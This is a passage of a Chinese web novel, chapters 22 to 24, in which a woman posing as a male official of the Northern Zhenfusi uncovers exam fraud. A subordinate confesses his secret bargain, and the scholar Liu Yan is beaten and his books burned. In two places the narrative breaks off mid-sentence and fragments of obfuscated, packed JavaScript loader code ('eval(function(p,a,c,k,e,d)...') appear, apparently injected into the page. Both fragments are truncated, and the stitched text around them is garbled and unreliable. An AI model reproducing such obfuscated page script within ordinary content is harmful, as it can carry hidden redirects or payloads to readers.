柳砚看着手中那几块带着体温的碎银,忽然觉得无比讽刺。他寒窗十年,满腹经纶,到头来,竟要靠同乡接济度日。 远处茶馆二楼,几个看热闹的闲人还在议论。 “啧啧,自己没本事,偏要怪朝廷不公。” “就是,科举取士自有法度,哪轮得到他一个穷书生置喙?” “玉面罗刹”……柳砚听过这个名号。北镇抚司镇抚使萧道煜,年纪轻轻便执掌诏狱,手段酷烈,杀人如麻。今日一见,果然名不虚传。 他缓缓站起身,拍去身上的泥水,动作很慢,却异常坚定。然后,他弯腰,捡起地上那团污糟的考卷,仔细叠好,揣进怀里。 “柳兄?”李默不解。 柳砚没有解释。他只是抬头,望向北镇抚司衙门的方向,眼中最后一点光芒寂灭,化为一片深不见底的黑暗。 “李兄,”他开口,声音嘶哑如砂纸磨过,“多谢。这些银子,柳砚日后……必当奉还。” 说罢,转身,踉跄着走入人群中,青衫背影很快消失在长街尽头。 李默站在原地,看着他消失的方向,心中忽然涌起一股不祥的预感。柳砚那眼神……太冷了,冷得像是把所有希望都埋葬后,剩下的唯有决绝。 北镇抚司衙门,后堂暖阁。 此处是萧道煜平日处理机要、休憩之所,陈设简朴,却处处透着不凡。南窗下设一张紫檀木大案,案上除文房四宝外,只一座青铜貔貅镇纸,一尊青玉笔山。东墙悬一幅《寒江独钓图》,西墙是一排顶天立地的紫檀书架,里头密密排着卷宗案牍。 萧道煜一进暖阁,便再也支撑不住,踉跄两步,扶住案角,猛地咳了起来。起初还是压抑的低咳,很快便成了撕心裂肺的剧咳,一声声,似要将五脏六腑都咳出来。她弯着腰,以帕掩口,帕子很快被鲜血浸透,猩红刺目。 “世子!”伊凡脸色大变,上前欲扶。 萧道煜摆摆手,示意他退开。又咳了许久,才慢慢止住,直起身时,面色已白得如宣纸,额上冷汗涔涔,连唇色都淡得几乎看不见。唯有那双琥珀金的眸子,还残留着一丝威仪,此刻却蒙上了一层疲惫的阴翳。 斐兰度不知何时已立在门口,一身石青长衫,药箱挎在肩上,面色冷峻如常。他走进来,也不行礼,只伸手搭上萧道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她何尝不知科举不公?何尝不知权贵把持科场、寒门无路请缨?可她能做什么?她是北镇抚司镇抚使,是忠顺王“世子”,是皇帝手中一把刀,更是一个一旦身份败露便会万劫不复的欺君者。她的职责,是维护朝廷法度,是镇压一切“不安定”,至于那法度是否公平,那“不安定”背后有多少血泪……不是她该过问,也不是她能过问的事。 所以她将那卷考卷踢进泥水。所以他说出那些冷酷的话。 可为什么……心里会有一丝莫名的烦躁?那烦躁,或许不仅是对不公的厌恶,更是对自己不得不成为这“不公”维护者之一的、深入骨髓的自我厌弃。 “世子今日,不该出门。”斐兰度冷冰冰的声音打断她的思绪,他下针精准,手法熟稔。 “春寒料峭,最易引动旧疾。更何况……”他顿了顿,“贡院那种地方,人多气杂,于你养病无益。情绪亦是大忌。” 萧道煜没有睁眼,只轻声问:“斐先生觉得,科举公平么?” 斐兰度捻针的手微微一顿,随即恢复如常:“我是医者,只管治病救人。朝廷法度,与我无关。” “是么。”萧道煜笑了笑,笑意未达眼底,“可若这朝廷病了,病入膏肓,先生也能视而不见?” 斐兰度沉默片刻,拔出一根针,又扎入另一处穴位,才缓缓道:“病入膏肓,便该刮骨疗毒。只是……”他抬眼,隔着薄薄的寝衣,看向萧道煜苍白瘦削的肩颈线条,以及那即便平躺也因旧疾和束缚而显出的、与健康男子迥异的轮廓,“刮骨之人,往往先伤自身。尤其是……本已千疮百孔之身。” 萧道煜明白了他的意思。科举舞弊,牵涉太广,一旦彻查,必会震动朝野,掀起腥风血雨。而她这个主持查案之人,本就根基不稳、身份存疑,必将成为众矢之的,承受来自各方的压力与反扑,届时,她这身男装是否能继续穿下去,都是未知数。 值得么?为一个素不相识的寒门举子,为那虚无缥缈的“公道”,赌上自己如履薄冰的伪装、本就岌岌可危的前程,甚至性命? “伊凡。”萧道煜忽然开口。 一直垂手立在帷幔外的伊凡应声上前:“臣在。” “去查。”萧道煜睁开眼,琥珀金的眸子里闪过一丝冷光,“查这次春闱所有考官的背景,查中榜士子的家世,查礼部、翰林院、乃至司礼监……所有与科举相关的人,最近半年内的银钱往来、人事变动。” 伊凡心中一凛,面上却不露声色:“世子要查……科举舞弊?” “不是查舞弊,”萧道煜纠正,声音平静无波,“是查‘是否有不法之徒,借科举之名,行贪墨之实’。”她顿了顿,补充道,“暗中查,不要打草惊蛇。尤其……注意西苑那边的动静。” 西苑……伊凡瞬间明白。太上皇退居西苑,却从未放弃对朝局的掌控。科举取士,关乎朝廷未来,太上皇岂会不插手?若真查出舞弊与西苑有关,那便是惊天大案。 “臣明白。”伊凡躬身,“只是……若真查出什么,要如何处置?” 萧道煜没有立刻回答。她转头,看向被帷幔遮挡的窗外方向。庭院里一株老梅已谢了,新叶初发,嫩绿如烟。春光正好,可这北镇抚司衙门,却永远笼罩着一层驱不散的阴霾,一如她永远见不得光的真实人生。 许久,她才轻声道:“先斩后奏。” 声音很轻,却字字如铁。 萨林依旧立在榻边,沉默如影,只有那双绿瞳,在望向榻上之人时,会流露出一丝近乎忠诚的痛惜。斐兰度收起银针,开始调配药散。 暖阁内重归寂静。萧道煜闭上眼,感到一阵熟悉的、夹杂着钝痛与坠胀的绞痛从小腹传来——那是“石瘕”又在作祟。她伸手按住,指尖冰凉,隔着单薄寝衣能触到那处不容忽视的、病态的隆起与坚硬。 这副身子,还能撑多久?她不知道。但她知道,在倒下之前,在秘密暴露之前,她还有太多事要做。或许,为柳砚这样的人争一线微光,也是在为自己这荒诞而压抑的人生,寻求一个不至于彻底沉沦的意义? 贡院前的眼神,如一根刺,扎在她心里。她可以装作看不见,可以继续做那把冷酷的刀,可那样……与那些她憎恶的、腐朽的、吃人的权贵,又有什么分别?与她不得不扮演的、这个冷酷无情的“萧道煜”,又有什么本质区别? 窗外传来更夫敲梆子的声音,悠悠长长,在春日午后的暖风里,显得格外苍凉。 咚——咚——咚—— 未时正了。 萧道煜缓缓坐起身,伊凡立刻上前,无声而熟练地帮她重新束紧特制内衬,扣好官袍。她接过斐兰度递来的药碗。褐色的药汁散发着浓烈的苦味,她面不改色,一饮而尽。 苦,才是这世道的真味。也是她人生的底色。 “斐先生,”她放下药碗,忽然问,“若我要查科举舞弊,你会帮我么?” 斐兰度收拾药箱的动作顿了顿,没有抬头:“我是医者,只救人,不害人。” “查舞弊,便是救人。”萧道煜看着他,琥珀金的眼眸里映着窗棂透进来的微光,有种脆弱的坚定, “救那些被不公压垮的寒门士子,救这个……日渐腐朽的朝廷。或许,也能救一救……我这身不由己的困局。” 斐兰度沉默良久,才淡淡道:“随你。”他拎起药箱,走到门口,又停住,背对着她,声音几不可闻, “……按时服药,莫要逞强。” 说罢,推门离去。 萧道煜望着他消失的方向,唇角勾起一丝极淡的、真正触及眼底的弧度。 窗外,春光正好。可这北镇抚司衙门深处,一场无声的风暴,已悄然酝酿。而这场风暴的中心,那位看似冷酷无情的“玉面罗刹”心中,某些冰封的东西,似乎也开始出现了细微的裂痕。 柳砚此刻正蜷缩在城南一间破败的客栈里,对着那团污糟的考卷,眼中最后一点光,渐渐熄灭,化为一片深不见底的黑暗。 命运之轮,开始转动。带着血腥、权谋、不公,也带着一丝由伪装者悄然点燃的、微弱的希望火种。 23. 第 23 章 四月下旬,京师的风已带上了几分黏腻的暖意,可北镇抚司值房内却依旧阴冷如窖——那冷是从青砖缝里渗出来的,是从案牍卷宗里透出来的,更是从人心深处漫出来的。 萧道煜斜倚在紫檀木圈椅里,身上裹着件薄绒大氅,领口一圈银灰色绒毛衬得她面色愈发苍白如纸。案头堆着尺余高的春闱墨卷,朱笔、蓝笔、墨笔排列齐整,像一队待命的兵卒。值房四壁悬着刑具图样,墙角的更漏滴滴答答,在这死寂的夜里格外清晰。窗外偶有晚风穿过回廊,带来几缕若有若无的槐花香,甜腻得让人胸闷。 她伸手取过最上首一份卷子,展开时纸页沙沙作响。 烛火跳了一下。 琥珀金色的眸子在昏黄光线下凝成两点寒星,视线扫过卷首姓名——赵文瑞。笔迹工整秀逸,八股破题、承题、起讲,层层递进,俨然大家风范。可读到“夫君子喻于义,小人喻于利”一句时,她指尖忽然顿住了。 这句子……太熟了。 萧道煜闭目沉吟片刻,另一只手已从案边暗格里抽出一本蓝皮册子。那是考前半月,京城各大书坊私下流传的“范文辑录”,专供膏粱子弟揣摩背诵。册子翻到第十七页,白纸黑字,与眼前卷子上的文章竟有八九分相似——不,不是相似,是几乎一字不差。 “好一个‘君子喻于义’。”她轻笑出声,声音里却无半分笑意,只有浸骨的冷,“用买来的文章谈义利之辨,赵公子倒真不害臊。” 窗外忽起一阵风,吹得窗纸扑簌簌响,几片柳絮从窗缝钻入,飘飘悠悠落在案头。萧道煜咳嗽起来,忙用素绢掩了口,待摊开时,绢上已染了点点猩红。她盯着那血渍看了半晌,才缓缓将绢子揉成一团,掷进墙角铜盂。 就在这时,值房的门被轻轻推开一道缝。伊凡侧身闪入,月白薄绸锦袍的下摆拂过门槛,竟未发出半点声响。暮春的暖风随着他一道涌入,带来外头庭院里新翻泥土的气息。他手中托着个黑漆描金托盘,上置一盏温着的参汤。 “世子,”伊凡垂首,声音温润如常,“夜深了,用些参汤罢。” 萧道煜头也未抬,只将那份赵文瑞的卷子往前一推:“看看这个。” 伊凡放下托盘,趋步上前。烛光在他脸上投下明明灭灭的影,那双总是含笑的眸子在看清卷子内容时,极轻微地收缩了一下——快得几乎让人捕捉不到。可萧道煜看见了。 “笔力尚可,只是……”伊凡沉吟道,“似乎有些匠气。” “匠气?”萧道煜忽然笑了。她身子往后一靠,大氅滑落肩头,露出里头绯色单绸官袍的一角,“伊佥事,你跟了吾这些年,眼力倒愈发‘精进’了——连这抄来的文章,都能看出‘匠气’?” 值房里的空气骤然凝住。 伊凡仍维持着恭顺的姿势,可萧梁煜看见他垂在身侧的手,指尖微微蜷起。那是他紧张时的习惯动作,从小便是如此。 “世子何出此言?”伊凡抬起头,脸上仍是温润的笑,可那笑意未达眼底,“春闱墨卷千余份,偶有雷同也是常事。或许是巧合……” “巧合?”萧道煜打断他,伸手又从案头抽出一份卷子,“这份,吏部侍郎张文瑾之子张允的——破题用《孟子》‘恻隐之心’,与城南‘文渊阁’卖的三两银子一份的范文,相似七成。”再抽一份,“这份,户部尚书周敬之外甥陈绍的——通篇论‘井田制’,与周尚书半月前在国子监讲学时发的讲义,几乎一字不差。” 她每说一句,便抛一份卷子在伊凡脚下。纸页散落一地,像暮春被风雨打落的残花。 “伊凡,”萧道煜忽然唤他的名,声音轻得如同叹息,“你说,这是巧合,还是我眼睛瞎了?” 伊凡终于跪了下去。 不是寻常的屈膝,而是双膝及地,额头触在冰冷砖石上的大礼。月白薄绸锦袍铺展开来,像一朵骤然萎落的花。 “臣……”他开口,嗓音有些发哑,“臣有罪。” “罪在何处?” “臣……”伊凡抬起头,烛光下他面色苍白如鬼,唯有锁骨下方那道蛇形刺青,在衣领松脱处若隐若现,妖异莫名,“臣早知周敬之受贿泄题,却……却未曾禀报世子。” 值房内静得可怕。更漏的水声,远处隐约传来的蛙鸣,还有窗外檐角风铃的叮咚声,在这一刻都清晰得刺耳。 萧道煜没有动。她只是看着伊凡,看着这个从小一起长大、共享过最深秘密的人。许久,她才开口,声音平静得可怕:“为何瞒我?” 伊凡的睫毛颤了颤。再抬眸时,那双总是含笑的眼里,竟泛起一层薄薄的水光——不知是真是假。 “因为周敬之手中,握着一样东西。”他一字一顿,每个字都像从齿缝里挤出来,“一份名单——当年王妃产子,所有知情者的名单。” “哐当”一声,萧道煜手边的茶盏被扫落在地,碎瓷四溅。 她终于站了起来。薄绒大氅滑落在地,绯色单绸官袍衬得她身形单薄如纸,可那双琥珀金色的眸子却亮得骇人,里头熔金翻涌,像是随时会喷出火来。 “你说什么?”她走到伊凡面前,俯身,伸手捏住他的下巴。力道之大,让伊凡痛得闷哼一声,却不敢挣脱。 “那份名单……”伊凡被迫仰头看她,声音断断续续,“从接生婆子、稳婆,到当年在澄观斋伺候的丫鬟、婆子……一共十七人。周敬之的夫人,是当年王妃的陪嫁丫鬟之一。王妃……王妃怕日后生变,将所有知情者姓名、籍贯、亲属,都记了下来,交给她保管。” 萧道煜的手在抖。 她感觉全身的血都在一瞬间冲上头顶,又在下一刻冻结成冰。二十年了……她以为这个秘密早已随着时光湮灭,却原来,它一直被人攥在手里,像一根悬在头顶的丝线,不知何时就会落下,将她绞杀。 “周敬之……”她松开手,踉跄后退两步,扶住案角才稳住身形,“他用这个威胁你?” “不。”伊凡摇头,额上已渗出细密冷汗,“是交易。他答应将名单给我,条件是……春闱之事,北镇抚司睁一只眼闭一只眼。” “于是你就答应了?”萧道煜笑出声来,笑声嘶哑破碎,“伊佥事,你可知科举舞弊是什么罪?轻则流放,重则斩首——你为了那份名单,连自己的脑袋都不要了?” 伊凡忽然也笑了。他跪直身子,理了理凌乱的衣襟,那个温润恭顺的伊凡不见了,取而代之的是一个眼神阴鸷、唇角含讥的陌生人。 “世子,”他轻轻说,“您真以为,周敬之背后只有他自己么?” 萧道煜瞳孔骤缩。 “阅卷官里,十个有八个是江南士族出身。”伊凡的声音很轻,却字字如刀,“……世子,您查的不是几个纨绔子弟,您查的是整个朝堂盘根错节的利益网。” 他顿了顿,抬眼看向萧道煜,目光复杂难辨:“您以为永熙帝为何将此事交给北镇抚司?因为满朝文武,只有您——只有‘玉面罗刹’萧道煜,敢对这些世家挥刀。” 萧道煜没有说话。她只是站着,背脊挺得笔直,可伊凡看见她扶在案角的手,指节已攥得发白。 “陛下需要一把刀。”伊凡继续说,声音里竟带着一丝悲悯,“一把锋利、趁手,又不怕沾血的刀。世家势大,威胁皇权,陛下要借春闱舞弊案,将他们连根拔起。可这事不能由陛下亲自做,也不能由清流言官做——太显眼,太容易激起反弹。所以需要您,需要北镇抚司,需要‘酷吏’之名。” 窗外忽然传来一声闷雷,暮春的第一场雷雨快要来了。 萧道煜缓缓闭上眼睛。她想起半个月前,永熙帝在乾清宫召见她时说的话:“道煜,春闱乃国之大典,若有宵小作乱,朕准你先斩后奏。”当时帝王眼里的信任与倚重,此刻回想起来,竟成了最辛辣的讽刺。 原来所谓的信任,不过是看中了她的狠戾与孤立无援。 原来所谓的倚重,不过是把她推出去,做那个得罪全天下的刽子手。 而她身边最亲近的人,竟也在这盘棋里,做了交易,瞒了她这样久。 “名单呢?”许久,萧道煜才开口,声音哑得厉害。 伊凡从怀中取出一个牛皮纸信封,双手奉上。信封未封口,里头薄薄几张纸,墨迹已有些褪色。 萧道煜接过,却没有看。她只是盯着伊凡,盯着这个她曾以为可以托付生死的人。 “你可还记得,你第一次杀人,手抖得握不住刀,是我抓着你的手,一刀捅进那奸细的心口?”萧道煜的声音很平静,平静得让人心慌,“我告诉你,在这吃人的地方,心软就是找死。你要活,就得比所有人都狠。” 她顿了顿,眼底那点熔金渐渐冷却,凝成冰封的琥珀。 “可我没想到,”她说,“你第一个狠心对待的,会是我。” 伊凡的脸色彻底白了。他张了张嘴,想说什么,可最终只是低下头,额头重重磕在地上:“臣……万死。” 萧道煜不再看他。她转身走回案后,将那份名单随手扔进铜盂,就着刚才咳血的素绢一起。烛光下,血渍在纸上缓缓洇开,像一朵凋零的残花。 “周敬之我会查,科举舞弊我也会查。”她重新坐下,拿起朱笔,在赵文瑞的卷子上画了一个鲜红的叉,“你,退下罢。” 伊凡跪在那里,许久未动。直到更漏又滴过一轮,他才缓缓起身,月白薄绸锦袍的下摆已沾了灰。走到门边时,他回头看了一眼—— 烛光下,萧道煜垂首批阅卷宗,侧脸线条冷硬如刀削。一缕青丝从玉簪中滑落,垂在苍白的颊边,竟显出一种触目惊心的脆弱。 伊凡的手攥紧,指甲深深陷进掌心。袖中藏着一枚旧银锁,冰凉刺骨。 门轻轻合上了。 翌日午后,天色阴沉得厉害,闷热的空气里浮动着尘土和柳絮。城南安和里搭着个简陋药棚,是太医院为今春时疫临时设的施药点。棚子四周挤满了衣衫褴褛的百姓,咳嗽声、呻吟声、孩童啼哭声混成一片,空气里弥漫着草药苦涩的气味和汗酸味。 斐兰度一身石青单绸长衫,正在棚内给一个老妪诊脉。他眉目清癯,神情冷峻,额角渗出细密的汗珠,说话时连眼皮都懒得抬:“湿热郁结,拿三帖藿香正气散,早晚各一服。”说罢便低头写方子,笔走龙蛇。 老妪千恩万谢地去了。斐兰度这才抬头,目光落在棚外一个踟蹰的身影上—— 那是个二十出头的书生,一身洗得发白的蓝布直裰,身形瘦削,面色蜡黄,唯独一双眼睛亮得惊人,里头燃着两簇不灭的火。他怀里抱着个破旧书箱,站在日头底下,额上全是汗,却似在犹豫要不要上前。 斐兰度认得他。春闱放榜那日,就是这个书生,当街拦了萧道煜的马,呈上被雨水浸湿的考卷,质问科举不公。 柳砚。 “要看病就进来,不看病就滚。”斐兰度冷冷开口,声音不大,却让棚内外瞬间静了一静。 柳砚咬了咬牙,终于迈步走进药棚。棚内比外头更闷热,他额上的汗淌下来,滴在尘土里。他朝斐兰度深深一揖:“学生柳砚,见过斐先生。” “我不收学生。”斐兰度头也不抬,“下一个。” “学生不是来拜师的。”柳砚直起身,从怀中取出一本册子,双手奉上。册子边角已被汗水浸得微皱,“学生是来……递状子的。” 斐兰度这才抬眼看他。那册子很薄,封皮上写着《春闱弊案证录》六个字,字迹工整有力,却透着一股孤愤之气。 “状子该递顺天府,或者去敲登闻鼓。”斐兰度接过册子,随手翻了几页,“给我做什么?我一介太医,管不了科举的事。” “可斐先生是摄政王府的人。”柳砚盯着他,眼睛亮得吓人,“学生听说,北镇抚司正在查春闱舞弊——这册子里,是学生这些日子暗中查访所得。京郊‘文渊阁’卖范文的账本副本,城南‘墨香斋’替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唯有柳砚站着。他盯着萧道煜,眼里那两簇火燃得更旺了——是恨,是不甘,也是某种他自己都说不清道不明的执念。 萧道煜的目光掠过他,落在斐兰度身上:“斐先生,借一步说话。” 斐兰度起身,随她走到棚外一棵槐树下。这槐树已抽出新叶,只是尚未繁茂,枝头零星挂着些青涩的槐花苞。风过时,叶子沙沙作响。 “柳砚来过了?”萧道煜开门见山。 斐兰度从袖中取出那本册子,“这是他给的。” 萧道煜接过,快速翻了几页,眼底神色变幻不定。许久,她合上册子,淡淡道:“倒是小瞧他了。” “世子打算如何处置?”斐兰度问,“册子里牵涉的,可都是朝中要员。” 萧道煜没有回答。她转头看向药棚内——柳砚还站在那里,背脊挺得笔直,像一杆不肯倒下的旗,汗水已浸透了他蓝布直裰的后背。 “给他五十两银子。”她忽然说,“让他离开京城,永远别再回来。” 斐兰度挑眉:“世子这是……要保他?” “保?”萧道煜轻笑,笑意未达眼底,“吾是嫌他碍事。一个书生,掀不起什么风浪,可若让他死在京城,反倒成全了他的‘义名’。” 她说得冷漠,可斐兰度看见她垂在身侧的手,指尖正无意识地摩挲着袖口的一处绣纹——那是她思考时的小动作。 她在犹豫。 斐兰度不再多问,转身回棚取了锭银子,走到柳砚面前:“忠顺王世子赏你的。拿着,离开京城,找个地方安身立命。” 那锭银子在昏暗棚内闪着冰冷的白光。 柳砚盯着它,忽然笑了。笑声嘶哑,像是破旧的风箱。 “五十两……”他喃喃道,“学生那日拦马呈卷,您踢落考卷,说‘科举取士,凭的是真才实学,不是一腔孤愤’。今日学生递上证据,便赏银五十两,让学生滚出京城——” 他抬起头,眼底那两簇火终于烧成了燎原之势。 “敢问王世子爷,”他一字一顿,“在您眼里,学生的命,就值五十两?这天下寒窗十年的士子之心,就值这五十两白银?!”* 话音未落,他已抓起那锭银子,用尽全身力气,狠狠掷在地上! “铛”的一声闷响,银锭在砖石上弹跳几下,滚到角落里,沾满了尘土和草屑。 棚内外死一般寂静。所有人都屏住了呼吸,连咳嗽声都停了。闷热的风穿过棚子,扬起细细的尘灰。 萧道煜站在那里,面无表情。风卷起她绯袍的下摆,像一面血色的旗。 许久,她才开口,声音平静无波:“既然不要,那就罢了。斐先生,我们走。” 她转身,走向马车。脚步很稳,可斐兰度看见,她扶着车辕上车时,手在微微颤抖,指节白得透明。 车帘落下,隔绝了所有视线。 黑甲骑兵调转马头,簇拥着马车远去,消失在长街尽头扬起的尘土里。 柳砚还站在原地。他弯腰,捡起那锭沾满尘土的银子,用袖子仔细擦干净,然后放进怀中。做完这一切,他抱起书箱,头也不回地朝巷子深处走去。 天色愈发阴沉了,远处隐隐传来雷声。暮春的雨,快要落下来了。 斐兰度站在药棚前,望着柳砚渐行渐远的背影,又望向马车消失的方向,许久,轻轻叹了口气。 风月无边,可这人间,从来都是吃人的地方。 而那把最锋利的刀,如今终于看清,自己也不过是棋盘上的一枚子。 只是不知,执棋的人,可曾想过——刀若有了自己的意志,还会甘心为人所使么? 第一滴雨终于落了下来,砸在尘土里,洇开一个深色的斑点。接着是第二滴,第三滴……很快,整个京城都笼罩在暮春的烟雨里。 可有些东西,一旦裂开,就再也回不去了。 24. 第 24 章 槐花巷,名虽风雅,实则是城南最腌臜的所在。巷子窄如鸡肠,两旁歪歪斜斜挤着些低矮的土坯房,墙皮剥落,露出里头夯实的黄土。时值四月下旬,巷口那株老槐树倒是开得繁盛,一簇簇细碎的槐花如雪如云,香气甜腻得发齁,却掩不住巷子里终年不散的馊臭味、尿骚味,还有隐约的霉腐气息。 柳砚拖着疲惫的身子,踏着满地乱滚的菜叶、果皮、泔水,一步步往巷子深处走。他租住的那间小屋在最里头,每月租金只要三十文,却是连窗户都没有的暗室,白日里也得点灯。 怀里揣着斐兰度开的药方,还有那卷始终舍不得丢弃的污糟考卷。午后在药棚掷银拒赏的豪气,此刻已被现实的窘迫消磨殆尽。他摸摸袖中仅剩的十几枚铜钱——那是李默昨日硬塞给他的,说“柳兄先拿着用”——心头一阵酸楚。 读书人最重风骨。可风骨不能当饭吃,不能给母亲抓药,不能给妹妹置办嫁妆。那锭五十两的银子……柳砚闭了闭眼。不悔。若收了那钱,他便真成了可以随意打发的叫花子,那十年寒窗、满腹才学,便真成了笑话。 正想着,巷子拐角处忽然闪出三条人影。 都是青壮汉子,一身短打,膀大腰圆,面目凶横。为首的是个刀疤脸,抱着胳膊堵在路中间,斜睨着柳砚,咧嘴一笑,露出满口黄牙:“哟,这不是柳大才子么?怎么着,今儿又上哪儿伸冤去了?” 柳砚心中一凛,后退半步:“你们是谁?想做什么?” “我们?”刀疤脸啐了口唾沫,“爷们儿是替人传话的。有人让告诉你——科举的事儿,不是你个穷酸书生能掺和的。乖乖闭上嘴,滚回昌平老家种地去,还能留条小命。若再敢胡说八道……”他逼近一步,身上劣质烧酒的味道扑面而来,“小心你那身骨头!” 柳砚脸色发白,却强撑着挺直脊梁:“光天化日,你们敢——” 话音未落,旁边一个瘦高个儿已一脚踹在他肚子上! 剧痛袭来,柳砚闷哼一声,弯下腰去。怀中药方、考卷散落一地。瘦高个儿捡起考卷,抖开来看了看,嗤笑:“就这破烂玩意儿,也值当你到处嚷嚷?”说罢,竟将考卷撕成两半,又揉成一团,丢在地上,用脚狠狠碾了几下。 “你们……住手!”柳砚目眦欲裂,扑上去要抢,却被刀疤脸一拳砸在脸上。 鼻血瞬间涌出,腥甜的气味充斥口腔。柳砚踉跄后退,撞在土墙上,尘土簌簌落下。他抹了把鼻血,眼中最后一点畏惧被怒火烧尽:“是谁……是谁让你们来的?周敬之?还是赵家?” 刀疤脸脸色一变:“找死!”挥手,“给我打!打到他闭嘴为止!” 三条汉子一拥而上,拳脚如雨点般落下。柳砚护住头脸,蜷缩在地,只觉浑身上下无处不痛。骨头断裂的脆响、皮肉被击打的闷响、还有那些污言秽语的咒骂,混杂在一起,像一场永无止境的噩梦。 不知过了多久,拳脚停了。柳砚奄奄一息地躺着,眼前阵阵发黑。他看见刀疤脸蹲下身,揪起他的头发,狞笑着:“柳大才子,爷们儿今儿教你个乖——在这京城,有些人你得罪不起,有些话你说不得。记住了?” 柳砚张了张嘴,却只吐出一口血沫。 刀疤脸松开手,起身,对同伴使了个眼色。瘦高个儿拎起柳砚放在墙角的书箱——那是他唯一的行李,里头装着他这些年积攒的书稿、笔记,还有母亲在他进京前,熬了三夜为他缝制的冬衣。 书箱被扔在地上。刀疤脸从怀里掏出火折子,吹亮,扔了进去。 干燥的书页瞬间燃起,火苗蹿起尺许高,映得几人面孔明灭不定。柳砚眼睁睁看着那些他视若生命的书籍在火中蜷曲、焦黑、化为灰烬。那是他省吃俭用买来的《四书集注》,是李默赠他的《文选》,是他自己手抄的几十本读书笔记…… “不……不要……”他嘶声喊,挣扎着想爬过去,却被一脚踩住脊背。 火越烧越旺,舔舐着木质的箱体,发出噼啪的脆响。浓烟滚滚,混合着纸张焚烧特有的焦糊味,在狭窄的巷子里弥漫开来。有邻居推开窗看了一眼,又赶紧关上,生怕惹祸上身。 刀疤脸看着火势,满意地点头,踢了柳砚一脚:“这次是烧书,下次……就是烧你了。识相点,滚出京城!” 说罢,三人扬长而去,身影很快消失在巷子拐角。 火渐渐熄了,只余一堆焦黑的灰烬,还在冒着缕缕青烟。柳砚趴在地上,一动不动,血和泪混在一起,模糊了视线。他伸出手,颤抖着探向那堆灰烬,指尖触到尚有余温的焦炭,烫得缩了缩,却又固执地伸过去,在灰烬里扒拉着。 忽然,他碰到一物。 抽出来,是半本烧得只剩小半的《孟子》。封面已焦黑难辨,内页也多被焚毁,唯有中间几页还算完整,上面工整的馆阁体小楷,是他当年为准备院试,一字一句抄录的《告子章句》。 墨迹在火光与血污间,依稀可辨。 柳砚盯着那几行字,忽然想笑。天降大任?苦其心志?他苦了二十六年,苦到如今家徒四壁、前途尽毁、性命难保,可那“大任”在哪儿?那“天”又在哪儿? 他将残卷紧紧抱在怀里,蜷缩成一团,终于忍不住,失声痛哭。 哭声压抑而绝望,在空荡荡的巷子里回荡,却被远处隐约传来的梆子声掩盖。二更天了。夜色如墨,将这陋巷里发生的一切肮脏与残忍,都悄然吞噬。 只有那株老槐树,依旧沉默地开着花,香气甜腻,仿佛什么也不曾发生。 子夜时分,北镇抚司值房。 萧道煜尚未歇息,就着烛火审阅白日里伊凡呈上的密报。周敬之受贿的证据已整理成册,厚厚一沓,每一笔银子、每一封密信、每一个经手的人名,都清清楚楚。铁证如山,只待她一声令下,便可拿人。 可那份名单,像一块巨石,压在她心头。 她放下密报,揉了揉眉心。这几日劳心劳力,石瘕之症发作得愈发频繁。斐兰度今日来诊脉时,难得说了重话:“若再这般不顾性命,下次咯血,便是心脉崩裂之兆。” 心脉崩裂……萧道煜苦笑。这副残破身子,还能撑多久?也许等不到身份暴露、满门抄斩的那天,她便先倒下了。那样也好,一了百了,不必再困在这“世子”的躯壳里,不必再演这场荒诞的戏。 正想着,值房门被急促叩响。 “进来。” 萨林推门而入,一身夜行衣还沾着露水,绿瞳在烛火下闪着冷光:“世子,槐花巷出事了。” 萧道煜抬眼:“何事?” “柳砚遭人袭击,书箱被焚,人重伤。”萨林言简意赅,“袭击者三人,皆是城西有名的泼皮,受雇于人。臣赶到时,人已逃了,只救下柳砚。” 萧道煜眸光一沉:“人呢?” “已送至济世堂,斐先生正在救治。”萨林顿了顿,“现场……留了半本烧残的《孟子》。” 萧道煜心头莫名一跳。她起身:“备马,去槐花巷。” “世子,夜深了,您——” “备马。” 萨林不再多言,躬身退下。 一刻钟后,萧道煜披着大氅,在萨林和十余名黑鳞卫的护卫下,抵达槐花巷。夜色深浓,巷子里却灯火通明——北镇抚司的衙役已封锁现场,举着火把,将狭窄的巷道照得亮如白昼。 焦糊味尚未散尽,混着血腥气,在四月夜晚的暖风里格外刺鼻。那堆书箱的灰烬还在原地,焦黑的木炭、纸灰、还有几片未烧尽的碎布,凌乱地摊在青石板上。旁边一滩暗红的血迹,已开始发黑。 萧道煜缓步走近。火把的光在她苍白脸上跳动,映得那双琥珀金眸子明明灭灭。她蹲下身,伸出戴着手套的手,拨了拨灰烬。 忽然,指尖触到一物。 她拈起来,是半本焦黄残破的书。 许多年前,也有这样一本书,这样几行字。 那时她还小,也许七八岁,也许更小。王妃李氏——她的“母亲”——将她关在书房里,逼她背诵《孟子》。背错一句,戒尺便狠狠落在掌心。她疼得眼泪在眼眶里打转,却不敢哭出声,因为母亲说:“你是世子,是未来的忠顺王,不能像女孩儿一样软弱。” 可她就是女孩儿啊。被锁在“萧道煜”躯壳里的“玉娘”,永远见不得光的、真正的自己。 有一日,她实在背不下来,戒尺将掌心打得红肿破皮。她蜷在墙角,抱着书,眼泪一滴一滴落在书页上,洇开了墨迹。 母亲夺过书,看到被泪水浸湿的字迹,勃然大怒:“没出息的东西!这点苦都受不住,将来如何担得起王府重任!”说罢,竟将书扔进炭盆。 火舌舔上书页,瞬间卷曲焦黑。她扑过去想救,却被母亲死死拉住。她眼睁睁看着那本书在火中化为灰烬,就像……看着那个名为“玉娘”的自己,被一点点焚烧、湮灭。 从那以后,她再没哭过。戒尺打在手心,她咬牙忍;汤药苦得发涩,她仰头灌;束胸勒得喘不过气,她默默受。她成了完美的“世子”,成了北镇抚司令人闻风丧胆的“玉面罗刹”。可心底那处被火烧过的空洞,却从未愈合。 而今夜,在这腌臜陋巷,在这摊灰烬前,同样被焚烧的命运,同样……倔强不肯低头的灵魂。 柳砚与她,何其相似。都是被这世道逼迫、摧残、却还在挣扎的人。 “世子?”萨林的声音将她从回忆中拽回。 